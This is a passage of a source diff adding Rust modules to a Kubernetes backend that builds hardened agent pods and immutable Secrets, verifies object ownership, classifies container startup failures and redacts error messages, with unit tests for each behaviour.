assert_eq!(id.pubkey_hex().len(), 64); + assert_eq!(id.label_pubkey().len(), 32); + assert!(id.label_pubkey().len() <= 63); + } + + #[test] + fn pod_name_is_deterministic_and_dns_safe() { + let id = identity(); + assert_eq!(id.pod_name(), id.pod_name()); + assert_eq!( + id.pod_name(), + format!("buzz-agent-{}", &id.pubkey_hex()[..12]) + ); + assert!(id.pod_name().len() <= 253); + assert!(id + .pod_name() + .chars() + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-')); + } + + /// Two attempts must never share a Secret name — that uniqueness is what + /// stops a losing contender from overwriting the winner's identity. + #[test] + fn secret_names_are_per_attempt() { + let id = identity(); + let a = id.secret_name(&new_generation()); + let b = id.secret_name(&new_generation()); + assert_ne!(a, b); + assert!(a.starts_with(&id.pod_name())); + assert!(a.len() <= 253); + } + + #[test] + fn selector_requires_the_management_marker() { + let id = identity(); + let sel = id.selector(); + assert!(sel.contains(&format!("{LABEL_AGENT_PUBKEY}={}", id.label_pubkey()))); + assert!(sel.contains(&format!("{LABEL_MANAGED_BY}={MANAGED_BY}"))); + } + + #[test] + fn every_created_object_carries_the_marker() { + let labels = identity().labels(); + assert_eq!( + labels.get(LABEL_MANAGED_BY).map(String::as_str), + Some(MANAGED_BY) + ); + assert_eq!( + labels.get(LABEL_BINDING_VERSION).map(String::as_str), + Some(BINDING_VERSION) + ); + } +} diff --git a/crates/buzz-backend-kubernetes/src/observe.rs b/crates/buzz-backend-kubernetes/src/observe.rs new file mode 100644 index 0000000000..1c6c883563 --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/observe.rs @@ -0,0 +1,592 @@ +//! Decoding API objects into verified observations (spec §Deploy State +//! Machine step 1). +//! +//! Pure: `Pod` in, [`VerifiedPod`] out. Keeping the decode here means the +//! conformance tests drive the *shipped* decoder with real API types rather +//! than a test-only stand-in, and it keeps `classify.rs` free of API types. +//! +//! Verification is the gate, not a filter: [`verify`] returns `None` for any +//! object whose full-pubkey annotation does not equal the derived pubkey or +//! that lacks the management marker, so an unverified object cannot reach +//! classification, deletion, or the returned `agent_id`. + +use crate::classify::{Fence, PullFailure, Startup, VerifiedPod}; +use crate::intent::Fingerprint; +use crate::naming::{ + AgentIdentity, ANNOTATION_CREATE_INTENT, ANNOTATION_PUBKEY_FULL, BINDING_VERSION, + LABEL_BINDING_VERSION, LABEL_MANAGED_BY, MANAGED_BY, +}; +use k8s_openapi::api::core::v1::{Pod, Secret}; + +/// Container name the provider creates; status is read from this container. +pub const CONTAINER_NAME: &str = "agent"; + +/// The startup state, or a state that cannot be settled without one more read. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum StartupObservation { + Resolved(Startup), + /// `CreateContainerConfigError` — recoverable *unless* the referenced + /// Secret is confirmed absent by a most-recent read. The kubelet's reason + /// string is a hint; the provider verifies before treating it as fatal + /// (§Deploy State Machine: "provably" means a verified absence, never a + /// reason string). + ConfigErrorPendingSecretCheck { + secret_name: String, + }, +} + +/// Does this object carry the management marker (§Pod shape)? +/// +/// Identity labels prove identity; the marker asserts protocol ownership. +/// Without it an object that merely matches our schema fails closed. +fn has_marker(labels: Option<&std::collections::BTreeMap>) -> bool { + let Some(labels) = labels else { return false }; + labels.get(LABEL_MANAGED_BY).map(String::as_str) == Some(MANAGED_BY) + && labels.get(LABEL_BINDING_VERSION).map(String::as_str) == Some(BINDING_VERSION) +} + +/// Does the full-pubkey annotation equal the derived pubkey? +/// +/// The 32-hex label is collision-*resistant*, not collision-free, which is +/// why this check is normative rather than decorative (`:1152-1166`). +fn annotation_matches( + annotations: Option<&std::collections::BTreeMap>, + identity: &AgentIdentity, +) -> bool { + annotations + .and_then(|a| a.get(ANNOTATION_PUBKEY_FULL)) + .map(|v| v == identity.pubkey_hex()) + .unwrap_or(false) +} + +/// Is this Secret ours and this identity's? The same fence GC applies before +/// deleting anything. +pub fn secret_is_ours(secret: &Secret, identity: &AgentIdentity) -> bool { + has_marker(secret.metadata.labels.as_ref()) + && annotation_matches(secret.metadata.annotations.as_ref(), identity) +} + +/// Decode a pod's startup state from its status. +/// +/// "Started" means `state.running` on our container — not pod phase. A pod can +/// sit in phase `Running` with a container that never started, and a pod being +/// gracefully deleted stays in phase `Running` for its whole grace period. +pub fn decode_startup(pod: &Pod) -> StartupObservation { + use StartupObservation::Resolved; + + let status = pod.status.as_ref(); + let phase = status.and_then(|s| s.phase.as_deref()); + + let container = status + .and_then(|s| s.container_statuses.as_ref()) + .and_then(|cs| cs.iter().find(|c| c.name == CONTAINER_NAME)); + + if let Some(state) = container.and_then(|c| c.state.as_ref()) { + if state.running.is_some() { + return Resolved(Startup::Started); + } + if state.terminated.is_some() { + return Resolved(Startup::Terminated); + } + if let Some(waiting) = state.waiting.as_ref() { + let reason = waiting.reason.as_deref().unwrap_or_default(); + let message = waiting.message.as_deref().unwrap_or_default(); + return match reason { + // Structurally invalid reference: no retry can fix it. + "InvalidImageName" => Resolved(Startup::NeverStartedProvablyBroken), + "ErrImagePull" | "ImagePullBackOff" => match classify_pull_failure(message) { + Some(failure) => Resolved(Startup::NeverStartedPullFailing(failure)), + None => Resolved(Startup::NeverStartedRecoverable), + }, + "CreateContainerConfigError" => match referenced_secret(pod) { + Some(secret_name) => { + StartupObservation::ConfigErrorPendingSecretCheck { secret_name } + } + None => Resolved(Startup::NeverStartedRecoverable), + }, + _ => Resolved(Startup::NeverStartedRecoverable), + }; + } + } + + // No container status yet (unscheduled, image pulling before the kubelet + // reports, quota-blocked). A terminal phase without container status still + // means the pod is done. + match phase { + Some("Succeeded") | Some("Failed") => Resolved(Startup::Terminated), + _ => Resolved(Startup::NeverStartedRecoverable), + } +} + +/// The Secret name this pod's `envFrom` references, if any. +pub fn referenced_secret(pod: &Pod) -> Option { + pod.spec + .as_ref()? + .containers + .iter() + .flat_map(|c| c.env_from.iter().flatten()) + .find_map(|source| source.secret_ref.as_ref().map(|r| r.name.clone())) +} + +/// Classify a pull failure from the kubelet's message. +/// +/// Reporting only — [`PullFailure`] is structurally excluded from +/// `Action::Delete`, so a wrong guess here can delay a report but can never +/// destroy anything. `None` means "no permanent cause recognized", which +/// leaves the pod on the ordinary observational path. +fn classify_pull_failure(message: &str) -> Option { + let m = message.to_ascii_lowercase(); + if m.contains("401") + || m.contains("unauthorized") + || m.contains("403") + || m.contains("denied") + || m.contains("authentication required") + { + return Some(PullFailure::Unauthorized); + } + if m.contains("manifest unknown") + || m.contains("not found") + || m.contains("manifest_unknown") + || m.contains("repository does not exist") + { + return Some(PullFailure::ManifestUnknown); + } + if m.contains("no match for platform") || m.contains("no matching manifest") { + return Some(PullFailure::ArchMismatch); + } + None +} + +/// The redacted, actionable condition text for a pull failure. +/// +/// Names the registry and the immutable reference — never credentials, and +/// never the kubelet's raw message, which can echo a registry token. +pub fn pull_failure_message(failure: PullFailure, image: &str) -> String { + let registry = image.split('/').next().unwrap_or(image); + match failure { + PullFailure::Unauthorized => format!( + "the cluster is not authorized to pull {image} from {registry}. \ + This pull retries indefinitely and will not succeed on its own: \ + grant the cluster's nodes access to that registry." + ), + PullFailure::ManifestUnknown => { + format!("{registry} has no image at {image}. Check the digest and repository.") + } + PullFailure::ArchMismatch => format!( + "{image} has no variant for the architecture of the nodes it was \ + scheduled on." + ), + } +} + +/// The latest actionable condition for a pod that has not started, redacted. +/// +/// Two sources, deliberately treated differently: +/// +/// * The container's waiting **reason** is included; its **message** is not. +/// Waiting messages are kubelet-composed and echo the thing that failed — +/// for a pull that is the registry request, which can carry credential +/// material. The reason token alone (`ImagePullBackOff`, +/// `CreateContainerConfigError`) is the diagnostic; the message adds +/// exposure, not information the user can act on. +/// * Pod-condition messages **are** included. They are scheduler- and +/// kubelet-composed from the pod's own spec and cluster capacity +/// ("0/3 nodes are available: Insufficient memory"), which is precisely the +/// actionable half and contains nothing derived from Secret data. +pub fn condition(pod: &Pod) -> Option { + let status = pod.status.as_ref()?; + + if let Some(state) = status + .container_statuses + .as_ref() + .and_then(|cs| cs.iter().find(|c| c.name == CONTAINER_NAME)) + .and_then(|c| c.state.as_ref()) + { + if let Some(waiting) = state.waiting.as_ref() { + if let Some(reason) = waiting.reason.as_deref() { + return Some(format!("the container is waiting, reason {reason}")); + } + } + // Exit code and reason only — the terminated `message` is + // process-composed output and falls under the same redaction rule as + // waiting messages. + if let Some(terminated) = state.terminated.as_ref() { + return Some(match terminated.reason.as_deref() { + Some(reason) => format!( + "the container exited with code {} ({reason})", + terminated.exit_code + ), + None => format!("the container exited with code {}", terminated.exit_code), + }); + } + } + + if let Some((type_, reason, message)) = status.conditions.as_ref().and_then(|cs| { + cs.iter().find(|c| c.status == "False").map(|c| { + ( + c.type_.clone(), + c.reason.clone().unwrap_or_default(), + c.message.clone().unwrap_or_default(), + ) + }) + }) { + let detail = [reason, message] + .into_iter() + .filter(|s| !s.is_empty()) + .collect::>() + .join(": "); + return Some(if detail.is_empty() { + format!("pod condition {type_} is false") + } else { + format!("pod condition {type_} is false: {detail}") + }); + } + + status.phase.as_deref().map(|p| format!("the pod is {p}")) +} + +/// Verify a label-selected pod and decode it, or reject it. +/// +/// `startup` is supplied by the caller because settling +/// `CreateContainerConfigError` needs a most-recent Secret read the pure layer +/// must not perform. +pub fn verify(pod: &Pod, identity: &AgentIdentity, startup: Startup) -> Option { + if !has_marker(pod.metadata.labels.as_ref()) { + return None; + } + if !annotation_matches(pod.metadata.annotations.as_ref(), identity) { + return None; + } + Some(VerifiedPod { + name: pod.metadata.name.clone()?, + fence: Fence { + uid: pod.metadata.uid.clone()?, + resource_version: pod.metadata.resource_version.clone()?, + }, + deletion_marked: pod.metadata.deletion_timestamp.is_some(), + startup, + recorded_intent: pod + .metadata + .annotations + .as_ref() + .and_then(|a| a.get(ANNOTATION_CREATE_INTENT)) + .map(|v| Fingerprint::from_annotation(v)), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use k8s_openapi::api::core::v1::{ + ContainerState, ContainerStateRunning, ContainerStateTerminated, ContainerStateWaiting, + ContainerStatus, PodStatus, + }; + use k8s_openapi::apimachinery::pkg::apis::meta::v1::{ObjectMeta, Time}; + use std::collections::BTreeMap; + + fn identity() -> AgentIdentity { + use nostr::nips::nip19::ToBech32; + let keys = nostr::Keys::generate(); + AgentIdentity::from_nsec(&keys.secret_key().to_bech32().unwrap()).unwrap() + } + + fn base_pod(id: &AgentIdentity) -> Pod { + Pod { + metadata: ObjectMeta { + name: Some(id.pod_name()), + uid: Some("uid-1".into()), + resource_version: Some("100".into()), + labels: Some(id.labels()), + annotations: Some( + [( + ANNOTATION_PUBKEY_FULL.to_string(), + id.pubkey_hex().to_string(), + )] + .into_iter() + .collect::>(), + ), + ..Default::default() + }, + ..Default::default() + } + } + + fn with_container_state(mut pod: Pod, state: ContainerState) -> Pod { + pod.status = Some(PodStatus { + phase: Some("Running".into()), + container_statuses: Some(vec![ContainerStatus { + name: CONTAINER_NAME.into(), + state: Some(state), + ..Default::default() + }]), + ..Default::default() + }); + pod + } + + fn waiting(reason: &str, message: &str) -> ContainerState { + ContainerState { + waiting: Some(ContainerStateWaiting { + reason: Some(reason.into()), + message: Some(message.into()), + }), + ..Default::default() + } + } + + #[test] + fn running_container_is_started() { + let id = identity(); + let pod = with_container_state( + base_pod(&id), + ContainerState { + running: Some(ContainerStateRunning::default()), + ..Default::default() + }, + ); + assert_eq!( + decode_startup(&pod), + StartupObservation::Resolved(Startup::Started) + ); + } + + /// Pod phase is not the criterion. A pod in phase `Running` whose + /// container never started must NOT read as started, or the reconciler + /// no-ops on a pod that will never serve. + #[test] + fn phase_running_with_waiting_container_is_not_started() { + let id = identity(); + let pod = with_container_state(base_pod(&id), waiting("ContainerCreating", "")); + assert_eq!( + decode_startup(&pod), + StartupObservation::Resolved(Startup::NeverStartedRecoverable) + ); + } + + #[test] + fn terminated_container_is_terminated() { + let id = identity(); + let pod = with_container_state( + base_pod(&id), + ContainerState { + terminated: Some(ContainerStateTerminated { + exit_code: 0, + ..Default::default() + }), + ..Default::default() + }, + ); + assert_eq!( + decode_startup(&pod), + StartupObservation::Resolved(Startup::Terminated) + ); + } + + /// A terminal phase with no container status (evicted before the kubelet + /// reported) is still terminated — otherwise the residue is never GC'd. + #[test] + fn terminal_phase_without_container_status_is_terminated() { + let id = identity(); + for phase in ["Succeeded", "Failed"] { + let mut pod = base_pod(&id); + pod.status = Some(PodStatus { + phase: Some(phase.into()), + ..Default::default() + }); + assert_eq!( + decode_startup(&pod), + StartupObservation::Resolved(Startup::Terminated), + "phase {phase}" + ); + } + } + + #[test] + fn invalid_image_name_is_provably_broken() { + let id = identity(); + let pod = with_container_state(base_pod(&id), waiting("InvalidImageName", "bad ref")); + assert_eq!( + decode_startup(&pod), + StartupObservation::Resolved(Startup::NeverStartedProvablyBroken) + ); + } + + /// Permanent pull failures are recognized from the message; anything + /// unrecognized stays on the ordinary observational path rather than + /// being guessed at. + #[test] + fn permanent_pull_failures_are_classified() { + let id = identity(); + let cases = [ + ("401 Unauthorized", PullFailure::Unauthorized), + ("pull access denied", PullFailure::Unauthorized), + ("manifest unknown", PullFailure::ManifestUnknown), + ( + "no match for platform in manifest", + PullFailure::ArchMismatch, + ), + ]; + for (message, expected) in cases { + let pod = with_container_state(base_pod(&id), waiting("ErrImagePull", message)); + assert_eq!( + decode_startup(&pod), + StartupObservation::Resolved(Startup::NeverStartedPullFailing(expected)), + "message {message:?}" + ); + } + + let pod = with_container_state( + base_pod(&id), + waiting("ImagePullBackOff", "dial tcp: i/o timeout"), + ); + assert_eq!( + decode_startup(&pod), + StartupObservation::Resolved(Startup::NeverStartedRecoverable), + "a transient network failure must not be reported as permanent" + ); + } + + /// The kubelet's reason string is a hint, not proof: a config error defers + /// to a most-recent Secret read before anything is called broken. + #[test] + fn config_error_defers_to_a_secret_read() { + let id = identity(); + let mut pod = + with_container_state(base_pod(&id), waiting("CreateContainerConfigError", "")); + pod.spec = Some(k8s_openapi::api::core::v1::PodSpec { + containers: vec![k8s_openapi::api::core::v1::Container { + name: CONTAINER_NAME.into(), + env_from: Some(vec![k8s_openapi::api::core::v1::EnvFromSource { + secret_ref: Some(k8s_openapi::api::core::v1::SecretEnvSource { + name: "buzz-agent-abc-gen1".into(), + optional: Some(false), + }), + ..Default::default() + }]), + ..Default::default() + }], + ..Default::default() + }); + assert_eq!( + decode_startup(&pod), + StartupObservation::ConfigErrorPendingSecretCheck { + secret_name: "buzz-agent-abc-gen1".into() + } + ); + } + + /// The auto-repair fence: an object that matches our schema but lacks the + /// marker, or carries someone else's pubkey, is never verified — so it can + /// never be no-op'd against, deleted, or returned as an `agent_id`. + #[test] + fn unmarked_or_mismatched_objects_fail_verification() { + let id = identity(); + let other = identity(); + + let mut unmarked = base_pod(&id); + unmarked.metadata.labels = Some(BTreeMap::new()); + assert!( + verify(&unmarked, &id, Startup::Started).is_none(), + "unmarked pod verified" + ); + + let mut wrong_version = base_pod(&id); + let mut labels = id.labels(); + labels.insert(LABEL_BINDING_VERSION.to_string(), "999".to_string()); + wrong_version.metadata.labels = Some(labels); + assert!(verify(&wrong_version, &id, Startup::Started).is_none()); + + let mut mismatched = base_pod(&id); + mismatched.metadata.annotations = Some( + [( + ANNOTATION_PUBKEY_FULL.to_string(), + other.pubkey_hex().to_string(), + )] + .into_iter() + .collect(), + ); + assert!( + verify(&mismatched, &id, Startup::Started).is_none(), + "collision verified" + ); + + let mut missing = base_pod(&id); + missing.metadata.annotations = Some(BTreeMap::new()); + assert!(verify(&missing, &id, Startup::Started).is_none()); + + assert!( + verify(&base_pod(&id), &id, Startup::Started).is_some(), + "own pod rejected" + ); + } + + /// The fence must come from the observed object, and the deletion mark + /// must be read even though the phase says `Running`. + #[test] + fn verified_pod_carries_the_fence_and_deletion_mark() { + let id = identity(); + let mut pod = base_pod(&id); + pod.metadata.deletion_timestamp = Some(Time(chrono::Utc::now())); + let verified = verify(&pod, &id, Startup::Started).unwrap(); + assert_eq!(verified.fence.uid, "uid-1"); + assert_eq!(verified.fence.resource_version, "100"); + assert!(verified.deletion_marked); + } + + /// A pod with no recorded intent reads as `None`, which the classifier + /// groups with divergence. + #[test] + fn missing_intent_annotation_decodes_as_none() { + let id = identity(); + assert!(verify(&base_pod(&id), &id, Startup::Started) + .unwrap() + .recorded_intent + .is_none()); + } + + /// A pull-failure report must name the registry and the immutable + /// reference and nothing else — never the kubelet's raw message, which + /// can echo a registry token. + #[test] + fn pull_failure_messages_are_actionable_and_redacted() { + let image = format!("ghcr.io/block/buzz-sprig@sha256:{}", "a".repeat(64)); + for failure in [ + PullFailure::Unauthorized, + PullFailure::ManifestUnknown, + PullFailure::ArchMismatch, + ] { + let msg = pull_failure_message(failure, &image); + assert!(msg.contains("ghcr.io"), "{msg}"); + assert!(msg.contains(&image), "{msg}"); + for secret in ["Bearer", "password", "nsec1", "token"] { + assert!(!msg.contains(secret), "leaked {secret}: {msg}"); + } + } + } + + #[test] + fn secret_ownership_requires_marker_and_annotation() { + let id = identity(); + let other = identity(); + let ours = Secret { + metadata: ObjectMeta { + labels: Some(id.labels()), + annotations: Some( + [( + ANNOTATION_PUBKEY_FULL.to_string(), + id.pubkey_hex().to_string(), + )] + .into(), + ), + ..Default::default() + }, + ..Default::default() + }; + assert!(secret_is_ours(&ours, &id)); + assert!(!secret_is_ours(&ours, &other)); + + let mut unmarked = ours.clone(); + unmarked.metadata.labels = Some(BTreeMap::new()); + assert!(!secret_is_ours(&unmarked, &id)); + } +} diff --git a/crates/buzz-backend-kubernetes/src/pod.rs b/crates/buzz-backend-kubernetes/src/pod.rs new file mode 100644 index 0000000000..725f98fc7d --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/pod.rs @@ -0,0 +1,446 @@ +//! Pod and Secret construction (spec §Pod shape, §K8s Secrets). +//! +//! The builder is pure: it turns resolved inputs into API objects and performs +//! no I/O, so every normative field is a unit assertion. + +use crate::config::{ + ProviderConfig, RESTART_POLICY, RUN_AS_GID, RUN_AS_UID, TERMINATION_GRACE_SECONDS, + WORKSPACE_PATH, +}; +use crate::intent::{Fingerprint, IntentTemplate}; +use crate::naming::{ + AgentIdentity, ANNOTATION_CREATE_INTENT, ANNOTATION_IMAGE, ANNOTATION_PUBKEY_FULL, +}; +use k8s_openapi::api::core::v1::{ + Capabilities, Container, EmptyDirVolumeSource, EnvFromSource, Pod, PodSecurityContext, PodSpec, + ResourceRequirements, SeccompProfile, Secret, SecretEnvSource, SecurityContext, Volume, + VolumeMount, +}; +use k8s_openapi::apimachinery::pkg::api::resource::Quantity; +use k8s_openapi::apimachinery::pkg::apis::meta::v1::ObjectMeta; +use std::collections::BTreeMap; + +/// Volume name for the agent's writable workspace. +const WORKSPACE_VOLUME: &str = "workspace"; + +/// The container name. Fixed: log and exec tooling addresses it by name. +const CONTAINER_NAME: &str = "agent"; + +/// Build the per-attempt Secret holding the resolved environment. +/// +/// `immutable: true` — the Secret is written once per attempt and never +/// updated, which is what lets the pod's `envFrom` reference be treated as an +/// atomic binding to this exact payload (§K8s Secrets). +pub fn build_secret( + identity: &AgentIdentity, + namespace: &str, + generation: &str, + env: BTreeMap, +) -> Secret { + Secret { + metadata: ObjectMeta { + name: Some(identity.secret_name(generation)), + namespace: Some(namespace.to_string()), + labels: Some(identity.labels()), + annotations: Some( + [( + ANNOTATION_PUBKEY_FULL.to_string(), + identity.pubkey_hex().to_string(), + )] + .into_iter() + .collect(), + ), + ..Default::default() + }, + string_data: Some(env), + immutable: Some(true), + ..Default::default() + } +} + +/// Build the pod for one create attempt. +/// +/// The `fingerprint` is computed from [`intent_template`] over a type that +/// cannot contain the generation or any Secret value, so it is stable across +/// attempts of the same configuration. +pub fn build_pod( + identity: &AgentIdentity, + cfg: &ProviderConfig, + generation: &str, + fingerprint: &Fingerprint, +) -> Pod { + let annotations: BTreeMap = [ + ( + ANNOTATION_PUBKEY_FULL.to_string(), + identity.pubkey_hex().to_string(), + ), + ( + ANNOTATION_CREATE_INTENT.to_string(), + fingerprint.as_str().to_string(), + ), + (ANNOTATION_IMAGE.to_string(), cfg.image.as_str().to_string()), + ] + .into_iter() + .collect(); + + let requests: BTreeMap = [ + ( + "cpu".to_string(), + Quantity(cfg.resources.cpu_request.clone()), + ), + ( + "memory".to_string(), + Quantity(cfg.resources.memory_request.clone()), + ), + ] + .into_iter() + .collect(); + let limits: BTreeMap = [ + ("cpu".to_string(), Quantity(cfg.resources.cpu_limit.clone())), + ( + "memory".to_string(), + Quantity(cfg.resources.memory_limit.clone()), + ), + ] + .into_iter() + .collect(); + + let container = Container { + name: CONTAINER_NAME.to_string(), + image: Some(cfg.image.as_str().to_string()), + // No `command`/`args`: the image's entrypoint execs the harness as + // PID 1 (§Entrypoint). Overriding it here would be how a provider + // accidentally puts a shell in front of the signal receiver. + env_from: Some(vec![EnvFromSource { + secret_ref: Some(SecretEnvSource { + name: identity.secret_name(generation), + optional: Some(false), + }), + ..Default::default() + }]), + resources: Some(ResourceRequirements { + requests: Some(requests), + limits: Some(limits), + ..Default::default() + }), + volume_mounts: Some(vec![VolumeMount { + name: WORKSPACE_VOLUME.to_string(), + mount_path: WORKSPACE_PATH.to_string(), + ..Default::default() + }]), + security_context: Some(SecurityContext { + allow_privilege_escalation: Some(false), + capabilities: Some(Capabilities { + drop: Some(vec!["ALL".to_string()]), + ..Default::default() + }), + // `readOnlyRootFilesystem` is deliberately unset: the sprig + // toolchain writes outside the workspace mount (§Pod shape). + ..Default::default() + }), + ..Default::default() + }; + + Pod { + metadata: ObjectMeta { + name: Some(identity.pod_name()), + namespace: Some(cfg.namespace.clone()), + labels: Some(identity.labels()), + annotations: Some(annotations), + ..Default::default() + }, + spec: Some(PodSpec { + containers: vec![container], + restart_policy: Some(RESTART_POLICY.to_string()), + termination_grace_period_seconds: Some(TERMINATION_GRACE_SECONDS), + // The agent runs prompted, untrusted code while holding an nsec; + // an ambient ServiceAccount token would be an API-stealable + // credential it never needs (§Pod shape hardening). Naming a + // service account selects a scheduling/RBAC identity and MUST NOT + // re-enable token mounting. + automount_service_account_token: Some(false), + service_account_name: cfg.service_account.clone(), + security_context: Some(PodSecurityContext { + run_as_non_root: Some(true), + run_as_user: Some(RUN_AS_UID), + run_as_group: Some(RUN_AS_GID), + fs_group: Some(RUN_AS_GID), + seccomp_profile: Some(SeccompProfile { + type_: "RuntimeDefault".to_string(), + ..Default::default() + }), + ..Default::default() + }), + volumes: Some(vec![Volume { + name: WORKSPACE_VOLUME.to_string(), + empty_dir: Some(EmptyDirVolumeSource::default()), + ..Default::default() + }]), + ..Default::default() + }), + ..Default::default() + } +} + +/// The create-intent template for this configuration (§Deploy State Machine). +pub fn intent_template( + cfg: &ProviderConfig, + env_keys: impl IntoIterator, +) -> IntentTemplate { + IntentTemplate::new( + &cfg.namespace, + &cfg.image, + &cfg.resources, + cfg.service_account.as_deref(), + env_keys, + ) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config; + + fn identity() -> AgentIdentity { + use nostr::nips::nip19::ToBech32; + let keys = nostr::Keys::generate(); + AgentIdentity::from_nsec(&keys.secret_key().to_bech32().unwrap()).unwrap() + } + + fn provider_config() -> ProviderConfig { + config::parse(&serde_json::json!({ + "namespace": "buzz-agents-test", + "image": format!("ghcr.io/block/buzz-sprig@sha256:{}", "a".repeat(64)), + })) + .unwrap() + } + + fn pod() -> Pod { + let cfg = provider_config(); + build_pod( + &identity(), + &cfg, + "gen00001", + &intent_template(&cfg, ["BUZZ_RELAY_URL".to_string()]).fingerprint(), + ) + } + + fn spec(pod: &Pod) -> &PodSpec { + pod.spec.as_ref().unwrap() + } + + /// Every hardening default from §Pod shape, asserted individually so a + /// dropped one names itself. + #[test] + fn hardening_defaults_are_all_present() { + let pod = pod(); + let spec = spec(&pod); + assert_eq!(spec.automount_service_account_token, Some(false)); + + let sc = spec + .security_context + .as_ref() + .expect("pod security context"); + assert_eq!(sc.run_as_non_root, Some(true)); + assert_eq!(sc.run_as_user, Some(RUN_AS_UID)); + assert_ne!(sc.run_as_user, Some(0), "root UID"); + assert_eq!(sc.run_as_group, Some(RUN_AS_GID)); + assert_eq!( + sc.seccomp_profile.as_ref().map(|p| p.type_.as_str()), + Some("RuntimeDefault") + ); + + let csc = spec.containers[0] + .security_context + .as_ref() + .expect("container sc"); + assert_eq!(csc.allow_privilege_escalation, Some(false)); + assert_eq!( + csc.capabilities.as_ref().and_then(|c| c.drop.clone()), + Some(vec!["ALL".to_string()]) + ); + assert_ne!(csc.privileged, Some(true)); + } + + /// The forbidden host-namespace and hostPath escapes, asserted as absence. + #[test] + fn never_uses_host_namespaces_or_host_paths() { + let pod = pod(); + let spec = spec(&pod); + assert!(spec.host_pid.is_none() || spec.host_pid == Some(false)); + assert!(spec.host_network.is_none() || spec.host_network == Some(false)); + assert!(spec.host_ipc.is_none() || spec.host_ipc == Some(false)); + for volume in spec.volumes.as_ref().unwrap() { + assert!( + volume.host_path.is_none(), + "hostPath volume {}", + volume.name + ); + } + } + + /// `Never` only. `OnFailure` is gated on the harness exit-code contract + /// *and* a crash-loop classification row (`:1121-1139`); the config layer + /// refuses `inactivity_seconds: 0` so this arm is unreachable, and the + /// assertion keeps it that way. + #[test] + fn restart_policy_is_never() { + assert_eq!(spec(&pod()).restart_policy.as_deref(), Some("Never")); + } + + /// 60s, not Kubernetes' default 30s — which would SIGKILL the harness + /// mid-drain and leave presence stale-online (§Pod shape). + #[test] + fn declares_the_sixty_second_grace_budget() { + assert_eq!(spec(&pod()).termination_grace_period_seconds, Some(60)); + } + + /// The pod must not override the image's entrypoint: the image execs the + /// harness as PID 1, and a `command` here is how a shell ends up in front + /// of the signal receiver (§Entrypoint). + #[test] + fn does_not_override_the_image_entrypoint() { + let pod = pod(); + let container = &spec(&pod).containers[0]; + assert!(container.command.is_none(), "overrode the entrypoint"); + assert!(container.args.is_none()); + } + + #[test] + fn workspace_is_an_emptydir_mounted_at_home() { + let pod = pod(); + let spec = spec(&pod); + let volume = &spec.volumes.as_ref().unwrap()[0]; + assert!(volume.empty_dir.is_some()); + assert!(volume.persistent_volume_claim.is_none()); + let mount = &spec.containers[0].volume_mounts.as_ref().unwrap()[0]; + assert_eq!(mount.name, volume.name); + assert_eq!(mount.mount_path, WORKSPACE_PATH); + } + + #[test] + fn resources_carry_the_configured_requests_and_limits() { + let mut cfg = provider_config(); + cfg.resources.cpu_limit = "4".into(); + let pod = build_pod(&identity(), &cfg, "g", &Fingerprint::from_annotation("f")); + let r = spec(&pod).containers[0].resources.as_ref().unwrap(); + assert_eq!(r.requests.as_ref().unwrap()["cpu"], Quantity("1".into())); + assert_eq!( + r.requests.as_ref().unwrap()["memory"], + Quantity("2Gi".into()) + ); + assert_eq!(r.limits.as_ref().unwrap()["cpu"], Quantity("4".into())); + assert_eq!(r.limits.as_ref().unwrap()["memory"], Quantity("4Gi".into())); + } + + /// `envFrom` must point at this attempt's Secret and must NOT be optional: + /// an optional reference starts the container with no identity at all, + /// turning a missing-Secret bug into an agent that silently cannot + /// authenticate. + #[test] + fn env_from_references_this_attempts_secret_and_is_required() { + let id = identity(); + let cfg = provider_config(); + let pod = build_pod(&id, &cfg, "gen00042", &Fingerprint::from_annotation("f")); + let source = &spec(&pod).containers[0].env_from.as_ref().unwrap()[0]; + let secret_ref = source.secret_ref.as_ref().unwrap(); + assert_eq!(secret_ref.name, id.secret_name("gen00042")); + assert_eq!(secret_ref.optional, Some(false)); + assert!(source.config_map_ref.is_none()); + } + + /// Identity, ownership marker, and the recorded intent all travel on the + /// pod — the GC and reconciliation fences read exactly these. + #[test] + fn pod_carries_identity_marker_and_recorded_intent() { + let id = identity(); + let cfg = provider_config(); + let fp = intent_template(&cfg, ["A".to_string()]).fingerprint(); + let pod = build_pod(&id, &cfg, "g", &fp); + let meta = &pod.metadata; + assert_eq!(meta.name.as_deref(), Some(id.pod_name().as_str())); + assert_eq!(meta.namespace.as_deref(), Some("buzz-agents-test")); + assert_eq!(meta.labels.as_ref().unwrap(), &id.labels()); + let ann = meta.annotations.as_ref().unwrap(); + assert_eq!(ann[ANNOTATION_PUBKEY_FULL], id.pubkey_hex()); + assert_eq!(ann[ANNOTATION_CREATE_INTENT], fp.as_str()); + assert_eq!(ann[ANNOTATION_IMAGE], cfg.image.as_str()); + } + + /// The Secret is immutable and marker-bearing: immutability is what makes + /// the pod's `envFrom` an atomic binding, and the marker is what GC + /// requires before it will delete anything. + #[test] + fn secret_is_immutable_marked_and_holds_the_env() { + let id = identity(); + let env: BTreeMap = + [("BUZZ_RELAY_URL".to_string(), "wss://r".to_string())].into(); + let secret = build_secret(&id, "ns", "gen1", env.clone()); + assert_eq!(secret.immutable, Some(true)); + assert_eq!(secret.string_data.as_ref().unwrap(), &env); + assert_eq!( + secret.metadata.name.as_deref(), + Some(id.secret_name("gen1").as_str()) + ); + assert_eq!(secret.metadata.labels.as_ref().unwrap(), &id.labels()); + assert_eq!( + secret.metadata.annotations.as_ref().unwrap()[ANNOTATION_PUBKEY_FULL], + id.pubkey_hex() + ); + // `data` must stay unset — setting both is an apiserver rejection. + assert!(secret.data.is_none()); + } + + /// Naming a service account selects a scheduling identity; it must not + /// re-enable token mounting (§Pod shape hardening, `:1221-1225`). + #[test] + fn service_account_does_not_re_enable_token_mounting() { + let mut cfg = provider_config(); + cfg.service_account = Some("agent-sa".into()); + let pod = build_pod(&identity(), &cfg, "g", &Fingerprint::from_annotation("f")); + assert_eq!(spec(&pod).service_account_name.as_deref(), Some("agent-sa")); + assert_eq!(spec(&pod).automount_service_account_token, Some(false)); + } + + /// The fingerprint recorded on the pod is the one the classifier will + /// recompute — pinned end-to-end so a builder change that forgets to feed + /// the template a field cannot pass silently. + #[test] + fn 